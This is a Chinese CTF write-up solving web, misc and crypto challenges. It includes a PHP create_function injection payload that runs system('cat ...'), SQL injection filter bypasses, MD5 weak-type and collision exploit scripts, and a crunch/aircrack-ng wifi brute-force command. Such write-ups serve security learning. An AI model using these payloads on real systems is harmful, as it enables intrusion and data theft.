Web
Web签到
访问flag.php
可以看到有个302
跳转,flag
就在请求头里。
base64
解密得到flag
。
猜密码
打开F12
获得源码:
<?php
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
可以看到基于SESSION
里的pwd
来获取,那把session
情况,那么pwd
就变为null
,就可以绕过了。
构造:
下载下载
F12
看到提示:
构造:
/?file=flag.php
得到源码:
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
?>
自己本地运行下decrypt()
就能得到flag
。
该网站已被黑
not_easy
打开给了源码:
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}
if(isset($_GET['action'])){
$arg = $_GET['arg'];
}
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}
这是Code-Breaking Puzzles原题,这是最后$action($arg,'');
这里的参数位置换了一下。
构造:
/?action=\create_function&arg=){}phpinfo();//
可以看到成功执行了phpinfo()
。
那就直接使用下面
payload
就可以了:
/?action=\create_function&arg=){}var_dump(scandir('./'));// # 查看当前目录
/?action=\create_function&arg=){}var_dump(system('cat Th1s_1S_F1a9_Hav3_Fun'));// # 获取flag
audit
打开给了源码:
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];
if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}
if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}
str1 OR Sstr2 no no no
题目与hgame 2019
的Week2
和Week3
题目类似。
第一步直接构造弱类型和数组绕过。
第二步为MD5
碰撞,使用python-md5-collision生成一堆相似的MD5
文件。
第三步要求传入的a
为大写字母,b
为数字且长度大于6
,m
和n
的长度大于6
。
$str8
为$a
被hash
加密后的值,$str9
为$b
被hash
加密后,把$m
替换为$n
,要求$str8== $str9
。还是用的弱类型。
传入的$a
要hash
加密后为0e
开头,如果$b
为hash
加密后0e
开头,可以满足,长度为6
不能满足,但是还有次替换,只需要把0e
后不是数字的替换为数字就可以。
构造脚本满足好了:
def md5(str):
p= hashlib.md5(str).hexdigest()
return p
for i in range(1,999999):
if md5(str(i))[0:2] == '0e':
if 'e' not in md5(str(i))[2:]:
if 'f' not in md5(str(i))[2:]:
if 'a' not in md5(str(i))[2:]:
print i
最后的脚本:
import hashlib
def md5(str):
p= hashlib.md5(str).hexdigest()
return p
for i in range(1,999999):
if md5(str(i))[0:2] == '0e':
if 'e' not in md5(str(i))[2:]:
if 'f' not in md5(str(i))[2:]:
if 'a' not in md5(str(i))[2:]:
print i
#-*-codeing:utf-8
import requests
url="http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=bcd&n=123"
str5= open('./WEB/python-md5-collision/md5/out_test_001.txt','r').read()
str6= open('./WEB/python-md5-collision/md5/out_test_002.txt','r').read()
str7= open('./WEB/python-md5-collision/md5/out_test_003.txt','r').read()
data= {
'str5':str5,
'str6':str6,
'str7':str7,
'a':'QNKCDZO',
'b':'259987'
}
res= requests.post(url=url,data=data)
print res.content
曲折的人生
一个登录框注入,有回显,过滤了一些union
、select
、空格等。
双写绕过,空格用
/**/
来代替。可以看到字段为
3
,2
的地方有回显。得到数据库
xiaowei
。查找数据表名为
admin
。这里or
被过滤了,所以构造infmation_schema
时要变为infoorrmation_schema
。查到列名为
id
、username
、password
。查到用户名为
goodboy_g-60Hellowor
,密码为ajahas&&*44askldajaj
。这里有个坑啊,提交的用户名里的
or
也会被过滤,所以提交的时候用户名要变为goodboy_g-60Hellowoorr
。编写脚本登录:
import requests
from bs4 import BeautifulSoup
url = 'http://120.79.1.69:10005/?check'
username = 'goodboy_g-60Hellowoorr'
password = 'ajahas&&*44askldajaj'
s = requests.Session()
res = s.get(url)
res.encoding = res.apparent_encoding
soup = BeautifulSoup(res.text,'html.parser')
number = soup.find_all('div','rep')
answer = str(number[0])[17:-6]
answer = answer.replace('(','(').replace('X','*').replace(')',')')
code = int(eval(answer))
data = {
'username':username,
'password':password,
'code':code
}
res = s.post(url,data=data)
res.encoding = res.apparent_encoding
print(res.text)
得到
<div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代码审计.zip</a></div>
访问一个zip
文件:
/sss88ioiern.gdsgj.zip
解压密码为%^$%&sss88ioiern.gdsgj
。
给了一个form.txt
:
Private Function getPassword(ByVal str As String) As String
Dim reString As String
Dim i As Integer
i = 1
While (i <= Len(str))
reString = reString & Mid(str, i, 1)
i = i + (i Mod 5)
Wend
getPassword = reString
End Function
Private Sub Command1_Click()
Dim Dictionary As String
Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
Dim password As String
password = getPassword(Dictionary)
Dim psw As String
psw = Text1.Text
If (psw = password) Then
MsgBox "The password is correct!", vbOKOnly, "密码正确"
Text1.Text = "Password for next pass : " & getPassword(password)
Else
MsgBox "PasswordFail!", vbOKOnly, "密码错误"
End If
End Sub
编写脚本计算:
def getPassword(str):
restr = ''
i=1
while i <= len(str):
restr = restr + (str[i-1:i])
i = i+ (i%5)
return restr
dict = 'VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU='
password = getPassword(dict)
password = getPassword(password)
print(password)
得到:
VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk
用这个作为压缩密码解压打开就可以得到flag
。
Misc
so_easy
打开看到一堆base58
的东西。
使用base58在线解密得到一个
image
。使用base64编码转图片,得到一个二维码。
二维码扫描得到
flag
。
这是什么玩意儿
得到一串=E4=BD=9B=E6=
类似的:
使用Quoted-Printable编码在线解密:
使用与佛论禅:
使用社会主义编码:
该死的温柔
打开图片备注里有提示:
使用outguess:
$ outguess -k "guess" -r flag.jpg ctf.txt
解密得到flag
。
小梳子,我永远只爱你一个人
题目要破解wifi
密码。
使用kali
上的工具crunch
制作字典:
$ crunch 11 11 -t 138364%%%%% -o /root/桌面/test.txt
然后使用aircrack-ng
爆破密码:
$ aircrack-ng -w /root/桌面/test.txtTenda_D07D90-01.cap
# 选择编号12
你对我的网站做了什么
打开是一个流量包,追踪下http
流量,可以发现一个flag.txt
文件:
使用
base64解密
:eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi
得到
x\x9cK\xcbIL\xaf\x0e\x8dO3\xccK\x89\xf7MU\xac\x05\x003\xe3\x05\xe2
。使用
python
的zlib
库解压得到flag
。真的不是图片
题目是一张图片,我们binwalk
一下,发现了有zip
:
使用
foremost
分离,无果。。看到
binwalk
分析出来的图片中少了zip
文件头,根据数据区寻找14000000
可以看到
504b0304
被替换成了6a613636
也就是ja66
,将他改回来:
使用
binwalk
分析,此时正常并且分离出了
2
个压缩包,可以看出是一个压缩包放在另一个压缩包里了。所以只有一个压缩包。但是是被加密过的。此时,将之前的
ja66
填上去,密码正确。解压文件好多文件夹,打开后,每个文件夹有一个文本 里边都有一个字符
写个脚本
import base64
flag=''
for i in range(32):
f=open('./subject/'+str(i)+'/'+str(i)+'.txt','r')
flag+=f.read()
print base64.b64decode(flag)
Crypto
罗马帝国的奠基者
变异凯撒密码,用脚本:
s = "XXXX"
r = ''
for i in range(len(s)):
r = r+chr(ord(s[i])+4+i)
print(r)